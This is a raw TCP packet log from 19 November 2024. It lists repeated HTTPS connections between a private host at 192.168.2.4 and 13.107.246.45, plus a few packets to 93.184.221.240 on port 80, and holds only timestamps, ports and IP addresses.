Nov 19, 2024 19:15:06.901428938 CET	49885	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.901446104 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.903384924 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.903419018 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.903510094 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.903669119 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.903696060 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.926790953 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.926868916 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.927090883 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.927114964 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.927122116 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.927144051 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.927150011 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.929543018 CET	49892	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.929646015 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.930233002 CET	49892	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.930455923 CET	49892	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.930493116 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.006633997 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.006699085 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.006947994 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.007044077 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.007096052 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.007128954 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.007145882 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.009876013 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.009927988 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.010071039 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.010227919 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.010242939 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.544430971 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.544912100 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.544950008 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.545646906 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.545654058 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.580091953 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.580579042 CET	49892	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.580638885 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.581015110 CET	49892	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.581031084 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.584712982 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.585059881 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.585088968 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.585516930 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.585529089 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.594887972 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.595180988 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.595242977 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.595788002 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.595802069 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.683948040 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.684103966 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.684173107 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.686825991 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.686907053 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.686907053 CET	49891	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.686949015 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.686979055 CET	443	49891	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.689013004 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.689037085 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.689496994 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.689502001 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.692275047 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.692369938 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.692455053 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.692811966 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.692846060 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.700265884 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.700333118 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.700392008 CET	49892	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.701462030 CET	49892	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.701488018 CET	443	49892	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.704206944 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.704240084 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.704282999 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.704566002 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.704579115 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.744667053 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.744724989 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.744776011 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.744945049 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.744945049 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.744961023 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.744971037 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.746279955 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.746320009 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.746392965 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.748898983 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.748927116 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.748991013 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.749480009 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.749480963 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.749522924 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.749552011 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.749839067 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.749851942 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.752021074 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.752055883 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.752135038 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.752343893 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.752358913 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.790944099 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.791009903 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.791073084 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.791222095 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.791222095 CET	49893	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.791240931 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.791249037 CET	443	49893	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.793343067 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.793358088 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:07.793502092 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.793668032 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:07.793680906 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.340078115 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.344322920 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.344361067 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.344929934 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.344937086 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.366833925 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.367486000 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.367569923 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.368149042 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.368196011 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.415606976 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.416112900 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.416131973 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.416564941 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.416570902 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.420233011 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.420598030 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.420622110 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.420969009 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.420975924 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.427216053 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.427536964 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.427552938 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.428093910 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.428100109 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.471899986 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.471968889 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.472038984 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.472208977 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.472251892 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.472281933 CET	49894	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.472300053 CET	443	49894	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.475157976 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.475194931 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.475353003 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.475452900 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.475465059 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.517827988 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.517894030 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.518065929 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.518148899 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.518148899 CET	49896	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.518162966 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.518172026 CET	443	49896	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.521539927 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.521570921 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.521650076 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.521814108 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.521830082 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.526565075 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.526618004 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.526753902 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.526812077 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.526834011 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.526858091 CET	49897	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.526865005 CET	443	49897	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.529342890 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.529372931 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.529438972 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.529547930 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.529561996 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.533474922 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.533555984 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.533651114 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.533721924 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.533727884 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.533771992 CET	49898	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.533776045 CET	443	49898	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.535664082 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.535681009 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.535942078 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.536082029 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.536103010 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.648755074 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.648991108 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.649133921 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.649169922 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.649188995 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.649200916 CET	49895	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.649205923 CET	443	49895	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.652105093 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.652133942 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:08.652189970 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.652364016 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:08.652378082 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.119154930 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.119698048 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.119716883 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.120151043 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.120156050 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.196522951 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.197056055 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.197069883 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.197287083 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.197590113 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.197594881 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.197995901 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.198018074 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.198378086 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.198383093 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.215354919 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.215737104 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.215753078 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.216140032 CET	49724	80	192.168.2.4	93.184.221.240
Nov 19, 2024 19:15:09.216428995 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.216439009 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.221235991 CET	80	49724	93.184.221.240	192.168.2.4
Nov 19, 2024 19:15:09.221313953 CET	49724	80	192.168.2.4	93.184.221.240
Nov 19, 2024 19:15:09.245218992 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.245280981 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.245384932 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.245579004 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.245579004 CET	49899	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.245595932 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.245605946 CET	443	49899	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.248447895 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.248473883 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.248555899 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.248691082 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.248703003 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.300240993 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.300314903 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.300406933 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.300587893 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.300587893 CET	49901	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.300606012 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.300616026 CET	443	49901	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.303559065 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.303603888 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.303841114 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.303841114 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.303874016 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.304361105 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.304428101 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.304560900 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.304666996 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.304667950 CET	49900	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.304682970 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.304692984 CET	443	49900	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.306703091 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.306737900 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.306916952 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.306997061 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.307008982 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.325089931 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.325181961 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.325275898 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.325618982 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.325618982 CET	49902	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.325628996 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.325637102 CET	443	49902	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.328197956 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.328243017 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.328339100 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.328490973 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.328511953 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.372041941 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.372883081 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.372905970 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.373358965 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.373363972 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.477766991 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.477926016 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.478099108 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.478152990 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.478153944 CET	49903	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.478174925 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.478184938 CET	443	49903	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.481173038 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.481205940 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.481277943 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.481528044 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.481538057 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.890707016 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.891330957 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.891341925 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.891834974 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.891839981 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.957557917 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.958158970 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.958173990 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.958637953 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.958642006 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.981158018 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.981928110 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.981947899 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:09.982350111 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:09.982355118 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.009716988 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.010271072 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.010282040 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.011040926 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.011046886 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.032386065 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.032461882 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.032660961 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.032742977 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.032742977 CET	49904	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.032767057 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.032776117 CET	443	49904	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.035868883 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.035897970 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.036199093 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.036319971 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.036334991 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.067753077 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.067816019 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.067879915 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.068162918 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.068162918 CET	49906	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.068176985 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.068185091 CET	443	49906	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.070955992 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.070988894 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.071176052 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.071222067 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.071228981 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.091939926 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.092005014 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.092068911 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.096273899 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.096273899 CET	49905	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.096290112 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.096298933 CET	443	49905	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.099540949 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.099575996 CET	443	49911	13.107.246.45	192.168.2.4
